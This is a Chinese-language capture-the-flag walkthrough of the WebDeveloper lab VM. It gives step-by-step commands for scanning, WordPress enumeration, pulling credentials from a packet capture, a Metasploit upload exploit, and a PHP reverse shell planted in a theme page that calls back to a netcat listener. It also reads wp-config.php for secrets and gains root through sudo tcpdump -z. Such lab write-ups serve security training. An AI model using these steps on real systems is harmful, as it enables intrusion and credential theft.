1、 发现目标 (netdiscover),找到WebDeveloper的IP地址。
2、 利用NMAP扫描目标主机,发现目标主机端口开放、服务情况。
nmap -Pn 192.168.65.1/24 #查看同网段所有主机对应开放端口和服务
从中判断出靶机的IP以及对应的端口和服务情况。
开放了 22端口(SSH远程登录服务)、80端口(HTTP服务)
nmap -sV 192.168.65.130 #扫描靶机具体服务信息、服务版本信息
3、 若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。
KALI访问192.168.65.130
4、 利用whatweb探测目标网站使用的CMS模板。
通过扫描发现网站使用的CMS是WordPress。
5、 wpscan扫描
(1) Wpscan使用参考这两篇文章:
https://www.freebuf.com/sectool/174663.html
https://zhuanlan.zhihu.com/p/149725645
(2)
扫描命令:wpscan --url http://192.168.65.130
(3) 扫描发现了很多关于wordpress的漏洞:
wpscan还把这个网站的wordpress漏洞的路径给爆出来了,可以直接对其利用。
其中就包括下面所用到的reflex-gallery插件漏洞
简述wpscan的功能:
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
6、 使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)。找到一个似乎和网络流量有关的目录(路径)。
(1) 命令:dirb 192.168.65.130
(2)
发现这个目录并在浏览器中访问
(3)
发现cap文件:analyze.cap
7、 浏览器访问该目录(路径),发现一个cap文件。
8、 利用Wireshark分析该数据包,分析TCP数据流。
在HTTP数据包中发现一个网站后台账户。
账号:webdeveloper 密码:Te5eQg&4sBS!Yr$)wf%(DcAd
9、 利用上一步得到的信息进入网站后台。
使用上一步发现的账号和密码登陆网站后台:
登陆界面如图所示:
10、 利用该CMS存在的(插件Plugin)
安装reflex gallery插件(这个版本存在文件漏洞可以用metesploit攻击)
安装完成
打开metesploit
命令:search reflex Gallery #搜索漏洞模块
use exploit/unix/webapp/wp_reflexgallery_file_upload
info 或者show options参看漏洞配置信息
set rhosts 192.168.65.130
run
反向连接到kali
cd回退到网站目录/var/www/html
cat wp-config.php文件查看配置
发现系统账户
11、 利用该插件漏洞提权。
**方案1:**利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。
建立会话后,查看wp-config.php获得账号及口令。
实现过程(跟步骤10一样,利用MeterSploit上传payload进行反向连接)
**方案2:**上传反弹shell。
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。
功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】
该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。
实现过程:
(1) 修改脚本中指定的连接IP为KALI主机的IP,端口可以用nc打开并监听,这里设置为8888。
(2) 进入后台,找到任意一个PHP页面,然后利用php-reverse-shell.PHP的代码修改该页面的代码。
(3) 修改代码中反弹目标的IP地址及端口(修改为攻击者IP地址及开放的端口号)。
\4) 攻击者在Kali中利用NC开始监听,攻击者浏览器访问修改的PHP页面。从而得到反弹shell(用户www-data)。建立会话后,查看wp-config.php获得账号及口令。(注意路径)
nc监听8888端口
浏览器访问http://192.168.65.130/wp-content/themes/twentysixteen/404.php 连接到8888端口
连接上之后cat /var/www/html/wp-config.php
**方案3:**利用文件管理插件(File manager)漏洞。
安装该插件,直接可以浏览wp-config.php。
安装file manager
直接打开wp-config.php文件
以上三种方案都已实现。
12、 SSH登录服务器
尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。
命令:ssh webdeveloper@192.168.65.130
格式:ssh 用户名@
\1) 尝试查看/root/flag.txt
均无法查看。
\2) 使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)
查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令
创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
获得flag
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量